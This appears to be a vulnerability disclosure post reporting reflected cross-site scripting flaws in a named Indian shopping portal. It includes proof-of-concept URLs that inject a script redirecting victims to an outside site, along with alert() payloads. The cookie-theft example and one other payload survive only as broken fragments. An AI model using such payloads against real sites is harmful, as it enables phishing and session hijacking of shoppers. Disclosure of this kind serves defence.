Subject: Indiatimes Shopping Cart XSS (Cross Site
	Scripting) Attacks

Recently, I discovered a major XSS issue with Indiatimes shopping cart. It
is one of the largest shopping and auctioning portal in India. The XSS flaw
is present in most of the links of the portal however, I am currently
reporting only few specific links which are very critical. The vulnerability
details are provided below - 

Vulnerability: 
Indiatimes Shopping Cart XSS (Cross Site Scripting) Attacks

Criticality: 
High

Description: 
Indiatimes Shopping Cart (http://store.indiatimes.com) can be exploited by
any malicious user to conduct cross-site scripting and script insertion
attacks. The Input passed to certain parameters in various scripts isn't
properly verified before it is returned to the user. This can be exploited
to execute arbitrary HTML or script code in a user's browser session in
context of an affected site by tricking the user into visiting a malicious
website or follow a specially crafted link.

Below is the proof-of-concept which explains this -

1. Retrieving Cookies or Executing Malicious Commands Remotely

HERE]&search=title&image.x=5&image.y=14

2. Re-directing the site to any malicious or fake site to trap the victim
http://store.indiatimes.com/book/PlanetMBookSearch.jsp?keyword=<script>docum
ent.location.replace('http://www.hackingspirits.com')</script>&search=title&
image.x=5&image.y=14

This can be of great aid to the phishers who can entice the user to click on
the above link and get re-directed to some malicious sites where their
critical informations can be stolen. 

2. Something more annoying

cript>&product_rn=<script>alert('OR%20REBOOT%20IT')</script>&product_rn=<scr

History:
Vendor has been notified but there is no response and I guess neither they
are going to respond.
